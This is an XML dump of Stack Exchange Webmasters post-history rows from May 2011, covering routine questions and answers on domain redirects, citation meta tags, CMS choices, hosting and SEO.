  <row Id="30761" PostHistoryTypeId="5" PostId="13341" RevisionGUID="9c53374b-f680-48d0-905c-c100f4bb1c6c" CreationDate="2011-05-05T05:52:43.413" UserId="7246" Comment="added 59 characters in body" Text="I bought a new domain [staygeo.com][1] and pointed my blogger blog to [gis.staygeo.com][2]. I have checked the box in blogger publishing settings saying *Redirect staygeo.com to gis.staygeo.com*. Still if I just type [http://staygeo.com/][3], I see **Not Found** message. What can be done about it?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://staygeo.com&#xD;&#xA;  [2]: http://gis.staygeo.com&#xD;&#xA;  [3]: http://staygeo.com/" />
  <row Id="30762" PostHistoryTypeId="10" PostId="13338" RevisionGUID="e74ad323-2966-4522-90c1-c3090a93bd5c" CreationDate="2011-05-05T06:06:37.597" UserId="1064" CloseReasonId="2" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="30763" PostHistoryTypeId="25" PostId="13325" RevisionGUID="62ab3011-77f9-4750-9d3f-27e1135207a9" CreationDate="2011-05-05T06:11:27.290" Comment="http://twitter.com/#!/StackWebmasters/status/66022173189480448" />
  <row Id="30764" PostHistoryTypeId="2" PostId="13343" RevisionGUID="f6751aa4-d408-4875-ae5b-a1a2e8cbdded" CreationDate="2011-05-05T07:46:13.130" UserId="7306" Text="Have a large corporate website which appears to be under attack from Boys. The website is built in Joomla 1.5, and we're seeing massive spikes in traffic from the IP address of the Client. The site has been suspended twice already as a result. Any thoughts on a fix?" />
  <row Id="30765" PostHistoryTypeId="1" PostId="13343" RevisionGUID="f6751aa4-d408-4875-ae5b-a1a2e8cbdded" CreationDate="2011-05-05T07:46:13.130" UserId="7306" Text="Joomla Bot attack" />
  <row Id="30766" PostHistoryTypeId="3" PostId="13343" RevisionGUID="f6751aa4-d408-4875-ae5b-a1a2e8cbdded" CreationDate="2011-05-05T07:46:13.130" UserId="7306" Text="&lt;joomla&gt;" />
  <row Id="30767" PostHistoryTypeId="2" PostId="13344" RevisionGUID="a8581c12-3750-4c39-8b2f-839dba853f0b" CreationDate="2011-05-05T07:48:28.213" UserId="1643" Text="Have you followed these instructions http://www.google.com/support/blogger/bin/static.py?page=ts.cs&amp;ts=1233381 and changed the CNAME for your domain? " />
  <row Id="30768" PostHistoryTypeId="2" PostId="13345" RevisionGUID="975f7d01-f61b-4a85-bcc9-537f5b0af1e9" CreationDate="2011-05-05T07:57:09.067" UserId="7198" Text="Eprints tags are used in the &lt;a href=&quot;http://www.eprints.org/software/training/&quot;&gt;EPrints academic repository software.&lt;/a&gt; BE Press tags are used in The Berkley Electronic Press &lt;a href=&quot;http://works.bepress.com/&quot;&gt;SelectedWorks&lt;/a&gt; product. Neither offers documentation on their proprietary meta tags that I could find.&#xD;&#xA;&#xD;&#xA;You can, however, view the source of any HTML page generated by an Eprints or SelectedWorks server to see their metadata tags in use. For example, viewing the source on &lt;a href=&quot;http://eprints.ecs.soton.ac.uk/17320/&quot;&gt;this page&lt;/a&gt; from the University of Southampton's Eprints server shows Eprints tags in use, and viewing the source of &lt;a href=&quot;http://works.bepress.com/ghadfield/41/&quot;&gt;this page&lt;/a&gt; shows BE Press tags in use.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;PRISM tags and use cases are provided &lt;a href=&quot;http://www.prismstandard.org/resources/&quot;&gt;here.&lt;/a&gt; The &lt;a href=&quot;http://www.prismstandard.org/resources/PRISMCookbookRecipe3.pdf&quot;&gt;PRISM Cookbook 3&lt;/a&gt; [PDF] gives an alphabetical listing of all PRISM tags at the back, though there's no specific reference to preparing tags for Google Scholar.&#xD;&#xA;&#xD;&#xA;Honestly, though, unless you're using EPrints or SelectedWorks to publish research, I would simply use Google's suggested `citation_` tags, as referenced in the &lt;a href=&quot;http://scholar.google.com/intl/en/scholar/inclusion.html&quot;&gt;inclusion guidelines&lt;/a&gt; you linked to. From their example:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;citation_title&quot; content=&quot;The testis isoform of the phosphorylase kinase catalytic subunit (PhK-T) plays a critical role in regulation of glycogen mobilization in developing lung&quot;&gt;&#xD;&#xA;    &lt;meta name=&quot;citation_author&quot; content=&quot;Liu, Li&quot;&gt;&#xD;&#xA;    &lt;meta name=&quot;citation_author&quot; content=&quot;Rannels, Stephen R.&quot;&gt;&#xD;&#xA;    &lt;meta name=&quot;citation_author&quot; content=&quot;Falconieri, Mary&quot;&gt;&#xD;&#xA;    &lt;meta name=&quot;citation_author&quot; content=&quot;Phillips, Karen S.&quot;&gt;&#xD;&#xA;    &lt;meta name=&quot;citation_author&quot; content=&quot;Wolpert, Ellen B.&quot;&gt;&#xD;&#xA;    &lt;meta name=&quot;citation_author&quot; content=&quot;Weaver, Timothy E.&quot;&gt;&#xD;&#xA;    &lt;meta name=&quot;citation_date&quot; content=&quot;1996/05/17&quot;&gt;&#xD;&#xA;    &lt;meta name=&quot;citation_journal_title&quot; content=&quot;Journal of Biological Chemistry&quot;&gt;&#xD;&#xA;    &lt;meta name=&quot;citation_volume&quot; content=&quot;271&quot;&gt;&#xD;&#xA;    &lt;meta name=&quot;citation_issue&quot; content=&quot;20&quot;&gt;&#xD;&#xA;    &lt;meta name=&quot;citation_firstpage&quot; content=&quot;11761&quot;&gt;&#xD;&#xA;    &lt;meta name=&quot;citation_pdf_url&quot; content=&quot;http://www.example.com/content/271/20/11761.full.pdf&quot;&gt;&#xD;&#xA;&#xD;&#xA;Of these, Google says they only need the `citation_title`, one `citation_author`, and the `citation_date` in order to index your work, but I'd suggest providing as much information as you can based on the supported tags they list.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30769" PostHistoryTypeId="5" PostId="13345" RevisionGUID="f9cf4174-d609-4a07-9ca7-3a56d8befdba" CreationDate="2011-05-05T08:05:54.690" UserId="7198" Comment="added 80 characters in body; deleted 1 characters in body" Text="Eprints tags are used in the &lt;a href=&quot;http://www.eprints.org/software/training/&quot;&gt;EPrints academic repository software.&lt;/a&gt; BE Press tags are used in The Berkley Electronic Press &lt;a href=&quot;http://works.bepress.com/&quot;&gt;SelectedWorks&lt;/a&gt; product. Neither offers documentation on their proprietary meta tags that I could find.&#xD;&#xA;&#xD;&#xA;You can, however, view the source of any HTML page generated by an Eprints or SelectedWorks server to see their metadata tags in use. For example, viewing the source on &lt;a href=&quot;http://eprints.ecs.soton.ac.uk/17320/&quot;&gt;this page&lt;/a&gt; from the University of Southampton's Eprints server shows Eprints tags in use, and viewing the source of &lt;a href=&quot;http://works.bepress.com/ghadfield/41/&quot;&gt;this page&lt;/a&gt; shows BE Press tags in use.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;PRISM tags and use cases are provided &lt;a href=&quot;http://www.prismstandard.org/resources/&quot;&gt;here.&lt;/a&gt; The &lt;a href=&quot;http://www.prismstandard.org/resources/PRISMCookbookRecipe3.pdf&quot;&gt;PRISM Cookbook 3&lt;/a&gt; [PDF] gives an alphabetical listing of all PRISM tags at the back, though there's no specific reference to preparing tags for Google Scholar.&#xD;&#xA;&#xD;&#xA;Honestly, though, unless you're using EPrints or SelectedWorks to publish research, or you're part of a publishing house that already uses PRISM in their workflow, I would simply use Google's suggested `citation_` tags as referenced in the &lt;a href=&quot;http://scholar.google.com/intl/en/scholar/inclusion.html&quot;&gt;inclusion guidelines&lt;/a&gt; you linked to. From their example:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;citation_title&quot; content=&quot;The testis isoform of the phosphorylase kinase catalytic subunit (PhK-T) plays a critical role in regulation of glycogen mobilization in developing lung&quot;&gt;&#xD;&#xA;    &lt;meta name=&quot;citation_author&quot; content=&quot;Liu, Li&quot;&gt;&#xD;&#xA;    &lt;meta name=&quot;citation_author&quot; content=&quot;Rannels, Stephen R.&quot;&gt;&#xD;&#xA;    &lt;meta name=&quot;citation_author&quot; content=&quot;Falconieri, Mary&quot;&gt;&#xD;&#xA;    &lt;meta name=&quot;citation_author&quot; content=&quot;Phillips, Karen S.&quot;&gt;&#xD;&#xA;    &lt;meta name=&quot;citation_author&quot; content=&quot;Wolpert, Ellen B.&quot;&gt;&#xD;&#xA;    &lt;meta name=&quot;citation_author&quot; content=&quot;Weaver, Timothy E.&quot;&gt;&#xD;&#xA;    &lt;meta name=&quot;citation_date&quot; content=&quot;1996/05/17&quot;&gt;&#xD;&#xA;    &lt;meta name=&quot;citation_journal_title&quot; content=&quot;Journal of Biological Chemistry&quot;&gt;&#xD;&#xA;    &lt;meta name=&quot;citation_volume&quot; content=&quot;271&quot;&gt;&#xD;&#xA;    &lt;meta name=&quot;citation_issue&quot; content=&quot;20&quot;&gt;&#xD;&#xA;    &lt;meta name=&quot;citation_firstpage&quot; content=&quot;11761&quot;&gt;&#xD;&#xA;    &lt;meta name=&quot;citation_pdf_url&quot; content=&quot;http://www.example.com/content/271/20/11761.full.pdf&quot;&gt;&#xD;&#xA;&#xD;&#xA;Of these, Google says they only need the `citation_title`, one `citation_author`, and the `citation_date` in order to index your work, but I'd suggest providing as much information as you can based on the supported tags they list.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30770" PostHistoryTypeId="2" PostId="13346" RevisionGUID="e41de45b-b75f-469d-9c5d-eb17492e93ad" CreationDate="2011-05-05T08:19:12.107" UserId="6467" Text="There is a configuration error. It depends on the type of website software you are using. Sometimes these can take a long time to debug. &#xD;&#xA;I would also advise installing the Xampp on another machine. &#xD;&#xA;   Open the browser to the url. Scroll down to the end of the page and get the error message. Copy that into Google with the brand. &quot;Error loading show_html.php Joomla&quot; &#xD;&#xA;You will probably find a dozen possible fixes. Also google &quot;Error loading show_html.php Joomla Xammp&quot;&#xD;&#xA;&#xD;&#xA;Make sure the user, login and permissions (in database) are correct. " />
  <row Id="30771" PostHistoryTypeId="2" PostId="13347" RevisionGUID="9565edcf-bbbc-4b03-a66f-6031c0ac6c86" CreationDate="2011-05-05T08:27:01.817" UserId="6467" Text="Sounds like a custom php mysql system would work best. " />
  <row Id="30772" PostHistoryTypeId="2" PostId="13348" RevisionGUID="d0e23ec1-de5d-4a42-aa9b-d583b881e7b9" CreationDate="2011-05-05T08:31:55.277" UserId="6467" Text="I assume this is for a small business in their office. I would never use these on the open Internet. &#xD;&#xA;I have many Xampp installs on windows XP and Win2000 boxes. They sit in the server room and never need attention other than backups. &#xD;&#xA;&#xD;&#xA;Xampplite (my favorite) is very easy to install. It contains the basics, mysql, PHP and utilities.  " />
  <row Id="30773" PostHistoryTypeId="2" PostId="13349" RevisionGUID="5d47e9c1-a139-4819-bce9-d778b7f4a012" CreationDate="2011-05-05T08:37:17.420" UserId="5013" Text="Drupal is incredibly powerful and extremely customizable. You can do pretty much everything you require with Drupal using plug-ins and by customizing it.&#xD;&#xA;&#xD;&#xA;Another option would be to create your own CMS, but this would raise the cost. If cost isn't an option, this may be your best bet as you could get EXACTLY what you want and, if you need more options later, you could have them added in provided the CMS is written in such a way that makes it easy &quot;plug-in&quot; new technologies.&#xD;&#xA;&#xD;&#xA;However, before making the leap to getting a custom CMS, [take a look at Drupal][1] and some of its plug-ins to get an idea of whether or not it's exactly what you need. It's free, but you will likely incur some cost using Drupal unless you customize and set it up yourself.&#xD;&#xA;&#xD;&#xA;I agree with you about the eLearning Platform. It sounds like your needs won't be met with a platform like that and what you require is too different to modify a pre-existing eLearning platform to your specifications. Best of luck!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/" />
  <row Id="30774" PostHistoryTypeId="2" PostId="13350" RevisionGUID="546d310e-919a-4284-ba53-81414fbedb26" CreationDate="2011-05-05T08:37:39.090" UserId="5739" Text="It would be handy to know what type of files we are talking about here.&#xD;&#xA;&#xD;&#xA;I am a reseller, so have a lot of disk space and bandwidth available but one of my hobby sites which is Land Rover related (I know, really should get out more) has downloadable pdfs of the parts manuals and also .iso's of the online documentation systems and these are big and *very very* popular.&#xD;&#xA;&#xD;&#xA;The site, html, graphics etc is hosted on my server but the pdf's and iso files are all stored on S3 as I think the hit would be too much for my server and impact on my customers sites.&#xD;&#xA;&#xD;&#xA;Ok, this means I have to pay for the S3 but thankfully I get enough donations to cover the costs so I'm square which is great.&#xD;&#xA;&#xD;&#xA;Sorry, this isn't really an answer to your question, more my personal experience." />
  <row Id="30775" PostHistoryTypeId="2" PostId="13351" RevisionGUID="697504c5-fc2f-46dc-81d0-55956311154c" CreationDate="2011-05-05T09:02:13.520" UserId="5013" Text="I've seen this happen before, and in that case, it was because of how the links on the images were set up. In this case, on a test.website.com, all the urls were written in such a way that they weren't portable. For example the navigation links were setup like:&#xD;&#xA;    &lt;a href='http://test.website.com/about'&gt;About&lt;/a&gt;&#xD;&#xA;Because of this, they retained the 'test' part when the site was made live. Instead, they should have been written like:&#xD;&#xA;    &lt;a href='/about'&gt;About&lt;/a&gt;&#xD;&#xA;So that no matter what the url of the site was/is/will_be, the navigation to &quot;About&quot; will not be broken. This happened to ALL the links and images on the site and was a huge mess.&#xD;&#xA;&#xD;&#xA;I apologize about the anecdote, but perhaps this is what is happening with you? The case I saw it happen with was Wordpress when it was moved off the test to the live server... all the links had to be manually changed in order to point to the right places." />
  <row Id="30776" PostHistoryTypeId="25" PostId="13341" RevisionGUID="9afe33d0-0285-4101-a430-5ba54527174b" CreationDate="2011-05-05T09:11:27.503" Comment="http://twitter.com/#!/StackWebmasters/status/66067473203597312" />
  <row Id="30777" PostHistoryTypeId="5" PostId="13351" RevisionGUID="f3852a5f-4fd0-40a4-b768-c8b984fcfaca" CreationDate="2011-05-05T09:24:45.847" UserId="5013" Comment="added 29 characters in body" Text="I've seen something similar happen before, and in that case, it was because of how the links on the images/urls/everything were set up. In this case, on a test.website.com, all the urls were written in such a way that they weren't portable. For example the navigation links were setup like:&#xD;&#xA;    &lt;a href='http://test.website.com/about'&gt;About&lt;/a&gt;&#xD;&#xA;Because of this, they retained the 'test' part when the site was made live. Instead, they should have been written like:&#xD;&#xA;    &lt;a href='/about'&gt;About&lt;/a&gt;&#xD;&#xA;So that no matter what the url of the site was/is/will_be, the navigation to &quot;About&quot; will not be broken. This happened to ALL the links and images on the site and was a huge mess.&#xD;&#xA;&#xD;&#xA;I apologize about the anecdote, but perhaps this is what is happening with you? The case I saw it happen with was Wordpress when it was moved off the test to the live server... all the links had to be manually changed in order to point to the right places." />
  <row Id="30781" PostHistoryTypeId="2" PostId="13353" RevisionGUID="454b04b4-75cc-41bf-8d78-575fafae5444" CreationDate="2011-05-05T09:58:40.407" UserId="5013" Text="I write on HubPages about travel and my stats are:&#xD;&#xA;&#xD;&#xA; - IE (all flavors) - 34.60%   &#xD;&#xA;     - IE 8 - 74.13%&#xD;&#xA;     - IE 7 - 18.16%&#xD;&#xA;     - IE 6 - 5.22%&#xD;&#xA;     - IE 9 - 2.47%&#xD;&#xA;     - IE 5.5 - 0.01%&#xD;&#xA;     - IE 999.1 - 0.01% (what's 999.1)&#xD;&#xA; - Firefox (all flavors) - 29.97%&#xD;&#xA; - Chrome - 19.42%&#xD;&#xA; - Safari - 12.39%&#xD;&#xA; - Opera - 1.59%&#xD;&#xA; - Opera Mini - 0.87%&#xD;&#xA; - Mozilla Compatible Agent - 0.54%&#xD;&#xA; - BlackBerry9700 - 0.08%   &#xD;&#xA; - Mozilla - 0.07%&#xD;&#xA; - RockMelt - 0.07% (what's this?)" />
  <row Id="30782" PostHistoryTypeId="16" PostId="13353" RevisionGUID="37e3da67-b2df-46ff-9be2-3e9efcab6be2" CreationDate="2011-05-05T09:58:40.407" UserId="5013" />
  <row Id="30783" PostHistoryTypeId="2" PostId="13354" RevisionGUID="0d5bf52f-3967-48f7-a57b-fd9e9e68b8f0" CreationDate="2011-05-05T10:05:26.787" UserId="2044" Text="You can use firebug pulgin/addon in chrome and firefox.&#xD;&#xA;&#xD;&#xA; 1. Open firefox.&#xD;&#xA; 2. Search and download firebug addon/plugin.    &#xD;&#xA; 3. Install it.&#xD;&#xA; 4. Open respecitive site whose data transfer you want to monitor.   &#xD;&#xA; 5. Enable Firebug on that particular site.&#xD;&#xA; 6. Check the Net Panel and check the detail of the requests made and more..." />
  <row Id="30784" PostHistoryTypeId="2" PostId="13355" RevisionGUID="6a3d26ea-54b1-4f65-a6b7-f2ab93029bcc" CreationDate="2011-05-05T10:17:18.297" UserId="4502" Text="[It isn't really possible to answer this too well without more detailed information from you, at which point the question could become too specific, but:]&#xD;&#xA;&#xD;&#xA;You might start to get a general sense of ranges by using the &quot;browse&quot; filters at &lt;a href=&quot;http://www.adratesonline.com/&quot;&gt;AdRatesOnline&lt;/a&gt;.  &#xD;&#xA;One caveat, however, is that I've never even heard of the majority of sites listed there. Sites which have established a &quot;name&quot; for themselves in their field will obviously have more room to negotiate for more, and will also be more likely to have their own advertising pages set up with their rates. You'd probably be better off looking at your specific competitors, if their ad information is openly available." />
  <row Id="30785" PostHistoryTypeId="2" PostId="13356" RevisionGUID="40d7d0bc-76bc-454a-a187-38f5e834b2f6" CreationDate="2011-05-05T10:20:28.543" UserId="4502" Text="In the GoDaddy Help Center: &lt;a href=&quot;http://help.godaddy.com/topic/173/article/3977&quot;&gt;Password Protecting Web Directories on a Windows Hosting Account&lt;/a&gt;" />
  <row Id="30787" PostHistoryTypeId="2" PostId="13358" RevisionGUID="97a16863-80ca-4788-aedf-6b79375797bb" CreationDate="2011-05-05T10:25:42.580" UserId="4502" Text="Unfortunately, GoDaddy makes installing MT annoying, in several ways. There are some &lt;a href=&quot;http://wiki.movabletype.org/MT_Hosting_Quirks#GoDaddy&quot;&gt;notes in the wiki&lt;/a&gt;(and a pointer to the installation instructions) on some things to expect." />
  <row Id="30788" PostHistoryTypeId="2" PostId="13359" RevisionGUID="0e47c7f9-1160-4dd5-b027-8ce2795ecd03" CreationDate="2011-05-04T12:05:05.033" UserId="7296" Text="I notice when I do a google search for some keywords I get back some website hits that do **not** match my search criteria but instead redirect me to their search page with my google search terms pre-populated.&#xD;&#xA;&#xD;&#xA;For example If I search for anything to do with Salesforce I get back this site http://blog.jeffdouglas.com EVERYTIME.&#xD;&#xA;&#xD;&#xA;For instance if I search  &quot;visualforce component blog&quot;&#xD;&#xA;&#xD;&#xA;In google results the 4th or 5th result is http://blog.jeffdouglas.com/?s=visualforce+component+blog&#xD;&#xA;Even thought that page does not contain my search phrase but instead brings up a list of items that it thinks will match by terms.&#xD;&#xA;&#xD;&#xA;How do I do this?" />
  <row Id="30789" PostHistoryTypeId="1" PostId="13359" RevisionGUID="0e47c7f9-1160-4dd5-b027-8ce2795ecd03" CreationDate="2011-05-04T12:05:05.033" UserId="7296" Text="Make Website turn up in Google Search Result for key words" />
  <row Id="30790" PostHistoryTypeId="3" PostId="13359" RevisionGUID="0e47c7f9-1160-4dd5-b027-8ce2795ecd03" CreationDate="2011-05-04T12:05:05.033" UserId="7296" Text="&lt;google&gt;&lt;seo&gt;&lt;sitemap&gt;" />
  <row Id="30791" PostHistoryTypeId="17" PostId="13359" RevisionGUID="ccfaa9e4-7b98-4efe-89ae-a710510e8f0d" CreationDate="2011-05-05T10:43:14.697" UserId="-1" Comment="from http://stackoverflow.com/questions/5883062/make-website-turn-up-in-google-search-result-for-key-words" Text="" />
  <row Id="30795" PostHistoryTypeId="2" PostId="13360" RevisionGUID="f74b759f-0156-43a2-bcf8-4756de0aa488" CreationDate="2011-05-05T11:00:22.610" UserId="7309" Text="I actually use AllWebMenus which works fine for me and I think that it is fine for what you are looking for..It can make all the types of menus that you can imagine and I find its price really advantageous..You can always visit its site to check if it has the feature that you want..it's [Likno][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.likno.com&#xD;&#xA;&#xD;&#xA;I hope this helps!" />
  <row Id="30796" PostHistoryTypeId="10" PostId="13219" RevisionGUID="bd8f01c7-a4b5-4a05-b922-e6850097d1e8" CreationDate="2011-05-05T11:00:37.553" UserId="1064" CloseReasonId="2" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="30797" PostHistoryTypeId="2" PostId="13361" RevisionGUID="d588e5db-65b9-42e7-aa7f-dd0f5dd02ac6" CreationDate="2011-05-05T11:05:38.143" UserId="3312" Text="Is there any benefit from rolling-your-own set of social media 'like' buttons rather than using a pre-packaged widget, such as that provided by AddThis? Are there any downsides from using out of the box services? " />
  <row Id="30798" PostHistoryTypeId="1" PostId="13361" RevisionGUID="d588e5db-65b9-42e7-aa7f-dd0f5dd02ac6" CreationDate="2011-05-05T11:05:38.143" UserId="3312" Text="DIY Social media buttons Vs. Ready built (e.g. AddThis)" />
  <row Id="30799" PostHistoryTypeId="3" PostId="13361" RevisionGUID="d588e5db-65b9-42e7-aa7f-dd0f5dd02ac6" CreationDate="2011-05-05T11:05:38.143" UserId="3312" Text="&lt;facebook&gt;&lt;marketing&gt;&lt;social-media&gt;" />
  <row Id="30801" PostHistoryTypeId="2" PostId="13362" RevisionGUID="15f65718-8766-4fb3-96e8-39b69469ce82" CreationDate="2011-05-05T11:09:55.647" UserId="4502" Text="* The site shows up for Salesforce searches because he's written about it consistently for years, and having also written a book on it is probably at least a bit of a reference point. He's presumably put in some SEO work on top of all that, and some basic digging in Google will show you he's linked all over the place. You're seeing the results of that effort.&#xD;&#xA;* As for the search pages showing in Google results, it may have something to do with Google &lt;a href=&quot;http://googlewebmastercentral.blogspot.com/2008/04/crawling-through-html-forms.html&quot;&gt;using some sites' search forms&lt;/a&gt; to crawl data.&#xD;&#xA;* The search form being populated with the terms isn't terribly interesting. He uses WordPress, which makes it easy to do that. Go to &lt;a href=&quot;http://blog.jeffdouglas.com/?s=whatever+random+words&quot;&gt;http://blog.jeffdouglas.com/?s=whatever+random+words&lt;/a&gt; and they'll be in there, too.&#xD;&#xA;* I'm confused by your last example, as the search terms are *all over* that page you linked to, at least when I visit it." />
  <row Id="30803" PostHistoryTypeId="2" PostId="13363" RevisionGUID="2f42b853-4790-480e-9fa0-2fd3b7ce1e5d" CreationDate="2011-05-05T11:16:27.417" UserId="1643" Text="Out of the box services&#xD;&#xA;&#xD;&#xA; - may go out of business&#xD;&#xA; - their servers may go down&#xD;&#xA; - they may not be responsive when new social media sites appear and their widget doesn't include them&#xD;&#xA; - they may not be responsive when existing social media sites change their APIs in a way which breaks the widget&#xD;&#xA; - you have a lot more control over behaviour and appearance&#xD;&#xA;&#xD;&#xA;Of course rolling-your-own may be a lot of work, particularly if you're the one changing your widget because someone changed their API." />
  <row Id="30805" PostHistoryTypeId="2" PostId="13364" RevisionGUID="326aad23-f214-4833-ab56-38d609c870f1" CreationDate="2011-05-05T11:41:41.143" UserId="5169" Text="I just love the One-click-install and automatic Wordpress upgrades at Dreamhost.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;However, I am looking for a hoster where I can be sure that my sites end up with different IP addresses (for SEO reasons).  Dreamhost does not offer that option, you have to buy unique IP-addresses for every site if you want to do so, which is expensive.  I do not care that it is shared hosting, meaning that my sites share the same IP address with other sites, as long as they're not on the same IP themselves (and yes, preferable not within the same IP range).&#xD;&#xA;&#xD;&#xA;Do you know of a hoster who offers the Wordpress managing comfort of Dreamhost yet lets you spreads your sites over multiple IPs?  &#xD;&#xA;&#xD;&#xA;(note: inspired by a similar discussion at this Dreamhost forum: [http://discussion.dreamhost.com/thread-129719.html][1]  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://discussion.dreamhost.com/thread-129719.html" />
  <row Id="30806" PostHistoryTypeId="1" PostId="13364" RevisionGUID="326aad23-f214-4833-ab56-38d609c870f1" CreationDate="2011-05-05T11:41:41.143" UserId="5169" Text="What hoster offers automatic Wordpress upgrades (like Dreamhost) and _also_ spreads your sites over range of unique IP addresses?" />
  <row Id="30807" PostHistoryTypeId="3" PostId="13364" RevisionGUID="326aad23-f214-4833-ab56-38d609c870f1" CreationDate="2011-05-05T11:41:41.143" UserId="5169" Text="&lt;seo&gt;&lt;web-hosting&gt;&lt;wordpress&gt;&lt;ip-address&gt;" />
  <row Id="30808" PostHistoryTypeId="6" PostId="13364" RevisionGUID="cafc3fa7-bb63-4820-9371-97781cc1d0b8" CreationDate="2011-05-05T11:53:34.033" UserId="1253" Comment="edited tags" Text="&lt;seo&gt;&lt;web-hosting&gt;&lt;wordpress&gt;&lt;ip-address&gt;&lt;looking-for-hosting&gt;" />
  <row Id="30809" PostHistoryTypeId="5" PostId="13359" RevisionGUID="2361ffee-9c48-4088-b72a-06635d1fe183" CreationDate="2011-05-05T11:54:30.820" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the best ways to increase your site&amp;#39;s position in Google?](http://webmasters.stackexchange.com/questions/2/what-are-the-best-ways-to-increase-your-sites-position-in-google)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I notice when I do a google search for some keywords I get back some website hits that do **not** match my search criteria but instead redirect me to their search page with my google search terms pre-populated.&#xD;&#xA;&#xD;&#xA;For example If I search for anything to do with Salesforce I get back this site http://blog.jeffdouglas.com EVERYTIME.&#xD;&#xA;&#xD;&#xA;For instance if I search  &quot;visualforce component blog&quot;&#xD;&#xA;&#xD;&#xA;In google results the 4th or 5th result is http://blog.jeffdouglas.com/?s=visualforce+component+blog&#xD;&#xA;Even thought that page does not contain my search phrase but instead brings up a list of items that it thinks will match by terms.&#xD;&#xA;&#xD;&#xA;How do I do this?" />
  <row Id="30810" PostHistoryTypeId="10" PostId="13359" RevisionGUID="1abbcb65-36a7-4b7f-88d8-58e79059ccce" CreationDate="2011-05-05T11:54:30.133" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="30811" PostHistoryTypeId="25" PostId="13361" RevisionGUID="a1c009b4-6e3d-4d3c-9ff5-671d66a26eb5" CreationDate="2011-05-05T12:11:27.830" Comment="http://twitter.com/#!/StackWebmasters/status/66112772039118848" />
  <row Id="30813" PostHistoryTypeId="2" PostId="13366" RevisionGUID="3cbe2d80-fcea-4302-818d-0fb13e1fbfb4" CreationDate="2011-05-05T12:54:59.923" UserId="6467" Text="You will find that Google is different in other countries. It does not crawl 3rd world country content as fast as 1st world. The factors are different as well.  Its very difficult to tell because there are so many factors. " />
  <row Id="30814" PostHistoryTypeId="17" PostId="13368" RevisionGUID="9f4caa20-f12b-427b-8c12-6d4ddd7327b9" CreationDate="2011-05-05T13:06:46.473" UserId="-1" Comment="from http://stackoverflow.com/questions/5896411/is-there-any-free-javagrailstomcat-hosting-server/5896429#5896429" Text="" />
  <row Id="30815" PostHistoryTypeId="2" PostId="13368" RevisionGUID="84580eda-2d40-4b14-866a-c304899126e8" CreationDate="2011-05-05T10:44:30.300" UserDisplayName="Bozho" Text="You can host anything on Amazon EC2 [free tier][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://aws.amazon.com/free/" />
  <row Id="30816" PostHistoryTypeId="2" PostId="13367" RevisionGUID="bd5e5e7f-f7e3-414f-b49c-817a2fb6fe78" CreationDate="2011-05-05T10:43:05.793" UserDisplayName="achieverprince" Text="I want to host my grails application in net for testing ...&#xD;&#xA;is there any free server sites?&#xD;&#xA;&#xD;&#xA;supports grails,mysql" />
  <row Id="30817" PostHistoryTypeId="1" PostId="13367" RevisionGUID="bd5e5e7f-f7e3-414f-b49c-817a2fb6fe78" CreationDate="2011-05-05T10:43:05.793" UserDisplayName="achieverprince" Text="is there any free java(grails)(tomcat) hosting server?" />
  <row Id="30818" PostHistoryTypeId="3" PostId="13367" RevisionGUID="bd5e5e7f-f7e3-414f-b49c-817a2fb6fe78" CreationDate="2011-05-05T10:43:05.793" UserDisplayName="achieverprince" Text="&lt;java&gt;&lt;web-hosting&gt;" />
  <row Id="30819" PostHistoryTypeId="17" PostId="13367" RevisionGUID="b73a26f8-ac4a-4f05-ac32-558b6ef240d5" CreationDate="2011-05-05T13:06:46.473" UserId="-1" Comment="from http://stackoverflow.com/questions/5896411/is-there-any-free-javagrailstomcat-hosting-server" Text="" />
  <row Id="30820" PostHistoryTypeId="6" PostId="13367" RevisionGUID="4afe8baf-7092-41d5-8056-fa8f7d50ddb5" CreationDate="2011-05-05T13:10:26.870" UserId="1253" Comment="edited tags" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;&lt;java&gt;" />
  <row Id="30823" PostHistoryTypeId="6" PostId="12830" RevisionGUID="f26b6215-9250-49c0-ab62-b644b480c08e" CreationDate="2011-05-05T13:17:42.857" UserId="1253" Comment="Removed &quot;php web-development&quot; tags, added &quot;.htaccess mod-rewrite cpanel &quot; tags" Text="&lt;htaccess&gt;&lt;mod-rewrite&gt;&lt;cpanel&gt;" />
  <row Id="30824" PostHistoryTypeId="2" PostId="13369" RevisionGUID="71dcd2fa-1fdf-4b5e-a0db-579f11c916d7" CreationDate="2011-05-05T13:19:22.660" UserId="7055" Text="So I am launching a Magento e-commerce store soon that has a lot of time/money invested in it.  Being rather novice I'd like to know the major do(s) and don't(s) to ensure a smooth launch.  Any tips ranging from A to Z would be very helpful.  &#xD;&#xA;&#xD;&#xA;I hope this question isn't too broad, but I'm pretty sure that this community has had its fair share of experiences." />
  <row Id="30825" PostHistoryTypeId="1" PostId="13369" RevisionGUID="71dcd2fa-1fdf-4b5e-a0db-579f11c916d7" CreationDate="2011-05-05T13:19:22.660" UserId="7055" Text="Site Launch Do(s) and Don't(s)" />
  <row Id="30826" PostHistoryTypeId="3" PostId="13369" RevisionGUID="71dcd2fa-1fdf-4b5e-a0db-579f11c916d7" CreationDate="2011-05-05T13:19:22.660" UserId="7055" Text="&lt;websites&gt;" />
